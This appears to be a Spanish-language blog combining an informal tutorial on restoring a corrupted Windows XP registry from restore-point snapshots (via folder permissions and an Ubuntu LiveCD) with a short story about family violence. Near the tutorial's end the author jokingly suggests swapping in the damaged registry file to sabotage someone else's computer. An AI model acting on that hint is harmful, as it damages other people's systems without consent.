Una vez iniciado nos vamos a "Mi PC" y buscamos el disco duro que tiene fallas en el registro, antes de comenzar vamos a habilitar las opciones de "Ver todos los archivos" y desmarcar las opciones de "Ocultar archivos protegidos del sistema operativo", "Ocultar las extensiones de archivo para tipos de archivo conocido" y "Utilizar uso compartido simple de archivos".

Nota: estas opciones normalmente están habilitadas a fin de que un usuario no toquetee cosas que puedan dañar el sistema (léase Microsoft piensa que somos pendejos XD, mejor dicho nos quiere hacer pendejos jajajajajaja)

Bueno una vez cambiadas las opciones vamos buscar la carpeta "System Volume Information", pero al intentar ingresar a ella:

Esto es porque no es nuestra! (ya se lo que están pensando "como chingados no, que no esta en mi disco?"), esto es un tema un tanto complejo pero no me voy a enrollar con eso, baste decir por ahora que existen al menos dos usuarios aparte del suyo en todo SO XP, que tienen más privilegios que cualquiera, pero eso es otro cuento, les dejo las tradicionales capturas:

Una vez que nos dimos permisos, vamos por esta chin...

Entramos a la carpeta, seleccionamos la vista detallada a fin de saber cual es la fecha de modificación de los archivos y carpetas, en mi caso el error ocurrió el veintiuno por lo que usaré la del dieciocho "RP90" adentro encontraremos varios archivos que por el momento no importan, vamos a la carpeta "snapshot", de ahí los archivos que nos interesan son (solo los archivos):

Por lo que vamos a la raíz creamos una carpeta (nombrenla como les venga en mi caso use "nreg", ahora y ya teniendo esto listo vamos a la consola del sistema y ejecutamos el siguiente script (para ejecutarlo basta con renombrar el archivo a "registro.bat" y ejecutarlo desde con "Win + R" en mi caso "E:\" corresponde a la unidad donde guarde el script, hay que cambiar eso por la que corresponda al suyo). Con esto debería de bastar para realizar una copia de los archivos recuperados a la carpeta correspondiente, solo me resta aclarar dos cosas, la primera que el script debe estar directamente en la raíz donde se encuentran dañados los archivos, la segunda que los nombres de las carpetas "nreg" y "Windows" deben ser los que correspondan a los archivos recién copiados y al directorio dañado respectivamente.

Ahora una vez terminada nuestra pequeña aventura, hay que asegurarnos de restaurar los permisos que movimos, para ello seleccionamos al usuario/grupo al que le habíamos concedido privilegios y damos click en eliminar, para que quede como muestra la segunda imagen.

Lo siguiente es iniciar en modo seguro y restaurar el sistema a un punto anterior, en mi caso usaré el día diecisiete (Inicio/ Todos los programas/ Accesorios/ Herramientas del sistema/ Restaurar sistema).

Y luego de un par de "Siguiente"s, habrá terminado todo y estará como nuevo nuestro sistema, ahora que ya conocen la magia lo haré usando un LiveCD de Ubuntu, ustedes pueden usar el que les venga en gana ya sea Linux (Hay muchas distros) o Windows (Pilitos, UBootCD, etc), no pienso dar explicaciones de porque use esa pero la seleccionamos como muestra la imagen:

luego de un rato, aparece la pantalla que nos muestra pide seleccionar nuestro idioma y seleccionar si queremos instalar o probar, usamos la opción probar, luego damos click en la carpeta "Home" y del lado superior derecho nos muestra nuestro disco duro le damos click y automáticamente lo montara (no!, no se trata del hipódromo ni nada por el estilo) bueno una vez adentro buscamos la carpeta de "System Volume Information" como se podrán dar cuenta los dejará entrar sin ningún problema (sorprendidos!!!? no deberían).

Bueno el siguiente paso si es algo complejo de este lado, hay que averiguar cual es la carpeta más reciente XD, eso si que es sencillo en Windows...

Bueno realmente no es tan complicado, ya que hemos llegado hasta este punto, vamos por ese maldito registro!!!. Presionen "Ctrl + L" ahora los dejara seleccionar la ruta en donde están (lo seleccionamos todo y lo copiamos), ahora abrimos una terminal, como?, dándole click al logo de Ubuntu y escribimos terminal, les resulta familiar (otro plagio de los ventanucos XD!!!)

Es el primer icono luego escribimos cd e iniciamos comillas dobles, y con el botón derecho le damos pegar, por último cerramos las comillas dobles y damos un enter, una vez ahí escribimos "ls -lA" y:

Interesante no?, lo extraño son las fechas que muestra porque si lo recuerdan Windows decía que la carpeta RP89 se modifico el 17, la RP90 el 18 y la RP91 el 21, mientras que aquí nos dice que la RP89 y RP90 se modificaron el 18 y la RP91 el 22, como sea, usaré la de en medio para no romperme las pelotas (ustedes pueden usar la que quieran, no lo había mencionado antes?) lo demás es ya historia damos "Ctrl + T" para una nueva pestaña luego navegamos hasta donde esta instalado nuestro sistema, copiamos los archivos ahí, eliminamos los otros y finalmente renombramos las copias por los nombres originales, reiniciamos y listo).

Seguro que si son observadores se habrán dado cuenta de un par de cosas interesantes al usar este método, la primera de ellas es que pudimos ver e ingresar de manera sencilla a un directorio de sistema de Windows (seguro que a muchos se les ocurre un buen uso para eso XD!!), por otra parte el icono del archivo dañado es diferente al resto de los iconos de los archivos ahí, no voy a dar todos los detalles, eso ya les toca a los curiosos investigar, por otra si alguien se esta preguntando "puedo conservar una copia de ese archivo dañado y remplazarla usando Linux para joder a (AQUÍ EL NOMBRE DEL PROFE, NOVIO, ETC)?", bueno eso ya se los dejo a su criterio, no sin antes recomendarles hacer una copia de los archivos, para luego salvar su trasero (o el del nombre del paréntesis anterior XD!), por último como seguramente ya lo intuyeron este método aplica perfectamente para hardware convencional, solo que es más sencillo experimentar con maquinas virtuales, aunque sigo preguntándome como fue que la daño mi hermana!?

Nota casi final: No siempre es necesario restaurar el sistema a un punto anterior, con copiar los archivos de registro necesarios debería ser suficiente, pero pueden hacerlo si no les funciona.

Ahora si la nota final: Durante la realización de este post no se daño a ningún equipo virtual (eso lo hizo mi hermana), el autor del post no se hace responsable de los daños que pueda sufrir su equipo convencional o virtual, los experimentos realizados deben ser supervisados por un adulto, el que escribe todo este choro es un experto en chorear no tanto en asuntos de informática, por lo que, niños: EXPERIMENTEN!!!!!!!

SaluDoS hermanita!!!

El precio de ser diferente...

2012-05-11T21:22:00.002-07:00

Antes que nada me disculpo si no escribo bien, bajo otras circunstancias eso me ha importado muy poco, pero para esta serie, de historias o cuentos, supongo que el énfasis de mis palabras si debería ser importante, como sea, espero poder hacerme entender, y, si alguno no comprende puede decirlo abiertamente.

Esta primer historia la cuento por ser algo que recuerdo ocurrió hace muy poco, bueno el hecho de escucharla, la historia no se cuando ocurrió y si ocurrió realmente, solo cuento lo que escuche de boca que alguien me contó, después de todo vivimos en un país donde todo es posible...

Ocurrió una mañana mientras esperaba la hora de visita, atareado por los recientes acontecimientos en la vida de mi hermano, su frase hizo eco en mi cabeza y me llevó a reflexionar, en sus actos...

¿Podría el ser mi sobrino?, las acciones a las que se refirió en aquella mañana triste, eran semejantes a otras cometidas por mi ¡infame hermano! -que ahora se encontraba grave (víctima de un "asalto"). Acaso tenía yo derecho de preguntar el nombre de su padre, ¿que haría de ser el mismo?, podría yo decirle a mi fatigada cuñada, que su marido a parte de la aventura que había tenido recientemente (y que le había valido la hospitalización), era además el padre de ese joven, sí era joven.

Sería acaso que mi cuñada no comprendía los hechos, acaso era posible que no entendiera que no lo saltaron, hasta mis sobrinos en su velado silencio y las ganas de no verlo ya lo habían intuido...

Ahí estaba sentado, conversando con otra mujer que podría ser su hermana mayor, una joven (en relación a mi edad, todos me parecen jóvenes), por su acento intuí que eran gente de la capital, lo que me parecía más extraño, porque eso que decía el muchacho aquel, parecía algo más de pueblo, lo que confirmaba mis sospechas, de que Federico -mi hermano- fuera su padre, sin embargo por los hechos, no podía ser sus hijos -los que yo conocía- tendrían su edad más o menos y para que pudiera ser su padre, el no podría haber vivido...

La cosa era más o menos así...

... yo le pedí dinero a mi papá, para comprar un lápiz; al llegar a la papelería observe que había muchos con gomas rosas, lapices "normales" del dos y medio, ¡pero de pronto!, ahí atrás, escondido casi, había uno con goma blanca, de un color diferente -más amarillo...

...al día siguiente cuando le pedí ayuda a mi padre con un dibujo para la escuela, me pidió mi lápiz, cuando se lo entregue su primera pregunta fue -¿donde esta el lápiz que te compré? (recuerdo que dijo algo como darte dinero para que compres algo y comprártelo no son la misma cosa)

-es ese

-no me vengas con chingaderas! este tiene la goma blanca, ¿de donde lo sacaste?, !de seguro se lo robaste a alguien de tu escuela!, ¡piche ratero!

-no de verdad es mio, lo compre así porque me gusto la goma!...

La escena que describió después de eso se me hizo difícil de asimilar, pero al mismo tiempo me recordaban los actos cobardes y violentos de mi hermano hacia mis sobrinos, por lo que supe no termino la frase por una cachetada que interrumpió el discurso seguido de una golpiza a puño cerrado y patadas, que fue interrumpida por...

A mi edad recordar los detalles no se me da, pero si se que mi hermano ese día no fue asaltado, ¡soy viejo no pendejo!, ¡no hubo llamada!, ¡nadie sabe en que micro venía!, o como fue que llegó al hospital, solo un disparo en el hombro, que fracturó su clavícula y perforó un pulmón, ¡que chingaderas!, ¿porque mi cuñada es tan pendeja?...

Es hora de visita, voy a hablar con ese cabrón, aunque no me responda se lo voy a decir, ¡que se chingue!, le voy a decir que le contaré todo a su vieja, ¡ya va siendo hora!, que se entere de Lucresia, ¡de su otro pinche departamento!, ¡de la casa chica!...

¿A ver?, ¿que me va a decir el muy pendejo? jaja

Como si no supiera ya mi cuñada, si hasta sus hijos lo saben, si no son pendejos, aunque este ojete les parta la madre cada tercer día el muy cabrón, ellos lo saben...

Es esa pinche frase lo que sigue dándome vueltas en la cabeza, esa pinche frase del que me gusto pa su medio hermano de mis sobrinos, mi sobrino pues!, es por eso que le voy a decir a este pendejo y a su vieja, pa que lo dejen solo como el perro que es, aunque solo quede yo pa cuidarlo, después de todo eso fue lo que me dijo mi jefecita -hay te encargo a Federico...

...ese día comprendí que ser diferente tiene su precio, pero también comprendí que a pesar de la madriza, del hocico con sangre, de la espalda morada y molida por los golpes, yo quería seguir siendo diferente y no tener una pinche goma rosa...

ya es la hora, ¡que se chingue!, ¡pinche Federico!.